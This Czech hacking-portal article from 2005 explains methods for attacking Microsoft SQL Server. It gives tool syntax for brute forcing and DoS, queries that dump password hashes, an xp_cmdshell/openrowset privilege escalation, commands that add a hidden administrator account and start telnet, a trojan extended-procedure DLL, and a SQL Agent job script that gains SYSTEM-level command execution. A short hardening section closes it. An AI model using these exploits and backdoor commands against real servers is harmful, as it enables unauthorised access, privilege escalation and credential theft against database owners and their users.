

## Metody útoků na Microsoft SQL servery

Vložil/a [cm3l1k1](#) [1], 24 Srpen, 2005 - 17:18

- [Cracking](#) [2]
- [Hacking](#) [3]
- [Hacking method](#) [4]
- [SQL](#) [5]

V tomto článku si ukážeme postupy a nástroje používané při útocích na MSSQL servery. Popíšeme si používané programy i procedury a na závěr článku uvedu jednoduché postupy vedoucí k vyšší bezpečnosti serveru.

Budeme si informace a postupy vysvětlovat v bodech. Protože nejsem přítel dlouhého okomentování tak přejdeme rovnou k věci ;o]

### Základní informace

MS SQL servery běží na portech: 1434 UDP, 1433 TCP

Hesla mohou být uložena v těchto souborech: \*.dsn, global.asa, application.cfm, sqlsp.log, setup.iis

Defaultní přihlašovací jména:

**sa** - administrátorská práva, po instalaci je standardně heslo prázdné

**probe** - stejné jako sa (u MSSQL 6 a 6.5)

**dbo** - vlastník databáze

### Útoky pomocí nástrojů lámání hesel

**SQLScanner** zjišťuje jestli běží SQL server a zkouší se přihlásit pod účtem "sa" a prázdným heslem.

Tento program stejně jako i všechny zde popisované lze stáhnout na adrese

<http://www.sqlsecurity.com> [6]

Syntax:SQLScanner.exe [rozsah\_ip] [adresa] [cesta\_k\_souboru\_s\_vysledky]

**SQLPing2** je podobný nástroj, který je navíc rozšířen o možnost slovníkového útoku (oba programy jsou součástí balíčku SQLTools).

**ForceSQL** je posledním zástupcem programů, který využívá brute force útoku na přístupové heslo.

### Informace z SQL serveru při lokálním přístupu

Sqlko má svoji vlastní databázi (master), kde lze nalézt hodně informací o uživateli a ostatních DB. K získání těchto informací se stačí přihlásit jako "public"

**SELECT** name **FROM** sysdatabases

**SELECT** name **FROM** syslogins

- pokud máme větší práva (vybere jména a hashe hesel uživatelů)

**SELECT** name, password **FROM** syslogins

- v každé databázi je tabulka "sysobjects" ve které jsou informace o objektech (tabulky, archivované procedury, funkce atd.)

**USE** jmeno\_databaze **SELECT** name, id **FROM** sysobjects **WHERE** type = `P`

- systémová tabulka "tempdb". Občas sem uživatelé ukládají objekty, archivační procedury - často

jako zadní vrátka

```
SELECT text FROM tempdb.dbo.syscomments
```

- pro zašifrování hesel se používá funkce pwdencrypt()

```
SELECT pwdencrypt('zvolene_heslo')
```

- generování hashe hesla je závislé na čase, aby nebyli rozpoznatelní uživatelé se stejným heslem uveďme si příklad:

```
SELECT pwdencrypt('test_pass')
      waitfor delay '00:00:01'
      SELECT pwdencrypt('test_pass')
      waitfor delay '00:00:01'
      SELECT pwdencrypt('test_pass')
```

Výstup:

```
0x0100BA08C5533A9F85136534E90 (zkraceno) 7D1BB12010443024B96BFF76229289
```

```
0x0100BD08C17D50D214EF6295C41 (zkraceno) 13FABAE85D502B9F2273A31C1622D
```

```
0x0100C008BE27ECDB3E50A61258E (zkraceno) F77C6D39F3A26F32D99E7F6BA9F46
```

Takže se podíváme na první postřehy. Hash hesla začíná 0x0100, je složen pouze z velkých písmen. To ještě neznamená nic v porovnání s faktem, že pokud takto zašifrujete heslo, které se skládá pouze z velkých písmen, tak na jeho konci budou dvě stejné 40 bitové sekvence. To znamená, že v hashy hesla je zahashován jeden normální tvar hesla a jeden tvar s velkými písmeny. Pro rychlejší pochopení př. heslo máte "secret" a v hashy je zašifrované jak "secret" tak i "SECRET". Takže při crackování hashe můžeme radikálně snížit dobu útoku, protože stačí najít to heslo, které je ve tvaru s velkými písmeny.

## DoS útoky na SQL

1)**SQLOverflowDos.exe** - Posílá UDP paket se začínající hodnotou 0x04, který může celý systém položit. Pokud server přijme jako první paket s hodnotou 0x04, spojuje registr a zkouší vytvořit klíč HKLM/Software/Microsoft/Microsoft SQL Server/[navez\_serveru]/CurrentVersion. Pokud pošleme velice dlouhý klíč tak může dojít k přeplnění bufferu. Útok projde i přes firewall, protože můžeme změnit zdrojovou IP adresu paketu.

Syntax: `<p>SQLOverflowDos.exe [fakenuta_IP] [victim_sql]</p>`

2)**SQL2.exe** - Program s převážně stejnou funkcí jako SQLOverflowDos.

3)**SQLDosStorm2.exe** - Program posílá paket s hodnotu 0x0A a sql server na tento paket odpoví identickým paketem zaslaným na adresu odesílatele. Takže stačí podvrhnout zdrojovou IP adresu za adresu jiného MSSQL serveru a oba se vzájemně zahltí.

Syntax: `<p>SQLDosStorm2.exe [IP_sqlka] [soubor_s_adresami] [pocet_paketu]</p>`

4)**sqlpoke.exe** - umožňuje vykonat vzdálený příkaz na SQL serveru (procedura master..xp\_cmdshell) viz. níže

Syntax: `<p>sqlpoke.exe [pocatecni_rozsah_IP_adres] [koncovy_rozsah] [cesta_k_souboru_s_prikazy]</p>`

## Uchovávaná procedura xp\_cmdshell

- xp\_cmdshell umožňuje spustit vzdálený příkaz na systému s právy uživatele na kterém běží server. Standardně je to administrátorský účet "SYSTEM"!

- xp\_cmdshell nemůže spustit normální uživatel. Pokud ale admin něco opomněl tak "může".

Ukážeme si jak.

- pokud normální user vytvoří proceduru, má k ní full práva, takže stačí do procedury volat xp\_cmdshell pomocí příkazu "openrowset".

(tuto proceduru by uživatel neměl být schopen execnout)

## Metody útoku na Microsoft SQL servery

Publikováno na serveru Security-Portal.cz (<https://www.security-portal.cz>)

---

```
<p>CREATE PROCEDURE #test_proc AS EXEC master..xp_cmdshell 'systeminfo >
%SYSTEMDRIVE%\sys.txt'</p>
```

(ale tuto již ano)

```
SELECT * FROM openrowset ('SQLOLEDB', 'trusted_connection=yes;
                                data source=JMENO_SQL_SERVERU;', 'SET fmtonly OFF
                                EXEC master..xp_cmdshell ''tasklist >
%SYSTEMDRIVE%\bezici_procesy.txt''')
```

- příkaz OpenRowSet umožňuje spuštění nenalinkované operace na vzdáleném serveru. SQL server se přihlásí ke vzdálenému serveru a provede operace požadované uživatelem. Když však donutíme server, aby se přihlásil sám na sebe, tak dokážeme vykonat příkazy s vyššími právy než má sám uživatel.

- pokud tento přístup získáte, lze již velice snadno získat přístup do systému:

```
xp_cmdshell 'net user crax0r password /add'
xp_cmdshell 'net localgroup administrators crax0r /add'
xp_cmdshell 'net start telnet'
```

## Pole xstatus

- v tabulce sysxlogins je hodnota pole xstatus pro tyto záznamy nastavena na 22. Pole xstatus definuje druh loginu, kterým je určena položka v tabulce sysxlogins. Změnou tohoto statusu na 18 se utočnick může přihlásit libovolným loginem patřícím administrátorovi bez nutnosti zadávat heslo!

## Sniffování serveru

Pokud získáme přístup na server a chtěli bychom zjistit i hesla ostatních uživatelů, tak stačí využít programu SQLServerSniffer (taktéž součást balíčku SQLTools).

Syntax: `<p>SQLServerSniffer.exe [porty_k_naslouchani] [cesta_k_souboru_s_vysledky]</p>`

- Jde o tento problém. Když se uživatel autentizuje na serveru (mixed mode) tak přes síť by měli jít přihlašovací údaje "šifrované". Ale když se lépe podíváme, uvidíme že se vlastně o šifrování vůbec nejedná. Heslo je pouze převedeno do formátu UNICODE a následně je tento string prohozen funkcí XOR. Druhým argumentem je hodnota 0xA5, což lze jednoduše určit, protože každý druhý bajt hesla má tuto hodnotu. Z toho jednoduše vyplývá možnost pohodlného odposlouchávání hesel přímo na serveru.

## Fakeování externích procedur

Jak jsme již mluvili o externí proceduře xp\_cmdshell tak externích procedur (začínají na "xp\_") je mnohem víc, přičemž k některým má přístup i obyčejný uživatel public. Dále je nutné vědět, že tyto procedury se načítají v době, když jsou zavolány uživatelem. Jedná se především o nalinkované DLL knihovny.

příklad: pokud jsme např. odstranili proceduru xp\_cmdshell a chtěli bychom ji znovu načíst

```
EXEC sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL
Server\MSSQL\Binn\xplog70.dll'
```

Takže možná už tušíte o co mi jde. Samozřejmě využijeme proceduru, kterou může execnout i uživatel public. Takovým příkladem může být například "xp\_showcolv". Pokud dokážeme zaměnit originální DLL knihovnu procedury xp\_showcolv za naši, tak toho lze využít jako celkem nenápadného backdooru, či procedury k eskalaci práv. Níže uvádím jednoduchého trojského koně od Davida Litchfielda (NGSSoftware), který je opravdovým mistrem v odkrývání nedostatků MSSQL

serverů a jiných síťových aplikací.

```
// Very simple Extended Stored Procedure trojan
// Compile:
// C:\> cl /LD xprepl.c /link odbc32.lib
// David Litchfield
// <a href="mailto:david@ngssoftware.com">david@ngssoftware.com</a>

#include <stdio.h>
#include <srv.h>
__declspec(dllexport)ULONG __GetXpVersion()
{
    return 1;
}
__declspec(dllexport)SRVRETCODE xp_showcolv(SRV_PROC* pSrvProc)
{
    system("mycommand");
    return (1);
}
```

## Zneužití SQL Agenta

SQL Agent umožňuje to co v unixu cron a tím je plánování úloh za konkrétním účelem např. zálohy databáze, správa tabulek, vytváření statistik atd. Takže tímto je funkce Agenta vysvětlená. SQL Agent má ale větší práva než samotný uživatel databáze, z čehož opět vyplývá, že určitě existuje způsob jak toho využít v náš prospěch. Samozřejmě je tomu tak. Níže uvádím script od již jmenovaného Davida Litchfielda, který stačí pozměnit (SERVER\_NAME) spustit v Query Analyzeru a kód vytvoří úkol pro Agentu.

```
-- GetSystemOnSQL
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (<a href="mailto:david@ngssoftware.com">david@ngssoftware.com</a>)
-- 18th July 2002
```

**USE** msdb

```
EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to xp_cmdshell',
@delete_level = 1
```

```
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N'select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt''''',N'Master'''
```

```
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
```

```
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
```

## Útoky na webové aplikace

Konkrétně mám na mysli útoky typu SQL injection, kdy většina tvůrců webových stránek nikterak nekontroluje ošemetnost vstupních dat. Útoky tohoto typu jsou mnohem častější než lámání hesel apod. Na Internetu lze nalézt ohromnou spoustu nedostatků v kódu stránek, které umožňují tento typ útoku a to i mezi firmami, kterým klienti platí statisíce za velice pochybný a děravý webový systém. Jak se říká na lidské hlouposti se dá skvěle vydělat (a kdo že je nejbohatší člověk na světě? ;o]). Ja však nejsem člověk, který by se k tomuto tématu mohl plně vyjádřit, a proto všem doporučuji přečíst si [pogikův článek \(SQL Injection\)](#) [7] věnující se tomuto tématu.

## Zabezpečení serveru

Už se blížíme k finále článku, kde se budu snažit popsat jak minimalizovat rizika napadení serveru.

- Při přístupu k autentizaci uživatelů na SQL server používat místo "Mixed módu" mnohem bezpečnější "Windows NT authentication mode"!
- Na tvorbu a správu webových stránek/aplikací zaměstnat schopného programátora, kterému pojem bezpečnost není cizí!
- Pokud to není nutné tak vypnout/zakázat používání SQL Agenta.
- Omezit přístup na firewallu.
- Aplikovat dostupné patche.

## Smazání nebezpečných externích procedur

Většina lokálních útoku se točí kolem externích procedur, takže určitě nebude od věci odstranit některé z těch, které jsou považované za nebezpečné a v praxi se běžně vůbec nepoužívají. (k jejich smazání je nutné mít práva sysadmina, v komentářích jsou popsány funkce procedur)

```
USE master
EXEC sp_dropextendedproc 'xp_avaliabilemedia' /* informace o discích */
go
EXEC sp_dropextendedproc 'xp_cmdshell' /* spuštění příkazu ?i zneužití jiných
procedur */
go
EXEC sp_dropextendedproc 'xp_dirtree' /* informace o struktuře složek */
go
EXEC sp_dropextendedproc 'xp_enumdsn' /* umožňuje přeíst informace o zdrojích ODBC
*/
go
EXEC sp_dropextendedproc 'xp_enumerrorlogs' /* ?tení chybového logu */
go
EXEC sp_dropextendedproc 'xp_enumgroups' /* umožňuje přeíst informace o skupinách */
go
EXEC sp_dropextendedproc 'xp_getfiledetails' /* zobrazení detailu souboru */
go
EXEC sp_dropextendedproc 'xp_fixeddrives'
go
EXEC sp_dropextendedproc 'xp_loginconfig'
go
EXEC sp_dropextendedproc 'xp_makecab' /* umožňuje vytvoření archivu */
go
EXEC sp_dropextendedproc 'xp_ntsec_enumdomains' /* zobrazuje informace o doménách, se
kterými pracuje server */
go
```

## Metody útoku na Microsoft SQL servery

Publikováno na serveru Security-Portal.cz (<https://www.security-portal.cz>)

---

```
EXEC sp_dropextendedproc 'xp_regaddmultistring' /* zapiše do registru multistring */
go
EXEC sp_dropextendedproc 'xp_regdeletekey' /* smaže klíč v registru */
go
EXEC sp_dropextendedproc 'xp_regdeletevalue' /* smaže hodnotu klíče v registru */
go
EXEC sp_dropextendedproc 'xp_regread' /* ?tení registru */
go
EXEC sp_dropextendedproc 'xp_regremovemultistring' /* odstraní z registru multistring
*/
go
EXEC sp_dropextendedproc 'xp_regwrite' /* zápis do registru */
go
EXEC sp_dropextendedproc 'xp_regenumvalues' /* zobrazení hodnot registru */
go
EXEC sp_dropextendedproc 'xp_terminate_process' /* killnutí procesu, argumentem je
PID */
go
/* a pro úplné paranoiky, odebereme proceduru, která by dokázala znovu naříst externí
procedury */
DROP PROCEDURE 'sp_addextendedproc'
go
```

Zdroj:

**SQLSecurity.com**, <http://www.sqlsecurity.com> [6]

**SQL Server Magazine**, <http://www.sqlmag.com> [8]

**Xfocus Security Portal**, <http://www.xfocus.org> [9]

**URL článku:**

<https://www.security-portal.cz/clanky/metody-%C3%BAtok%C5%AF-na-microsoft-sql-servery>

**Odkazy:**

[1] <https://www.security-portal.cz/users/cm3l1k1>

[2] <https://www.security-portal.cz/category/tagy/cracking>

[3] <https://www.security-portal.cz/category/tagy/hacking>

[4] <https://www.security-portal.cz/category/tagy/hacking-method>

[5] <https://www.security-portal.cz/category/tagy/sql>

[6] <http://www.sqlsecurity.com>

[7] <http://www.security-portal.cz/clanky/sql-injection.html>

[8] <http://www.sqlmag.com>

[9] <http://www.xfocus.org>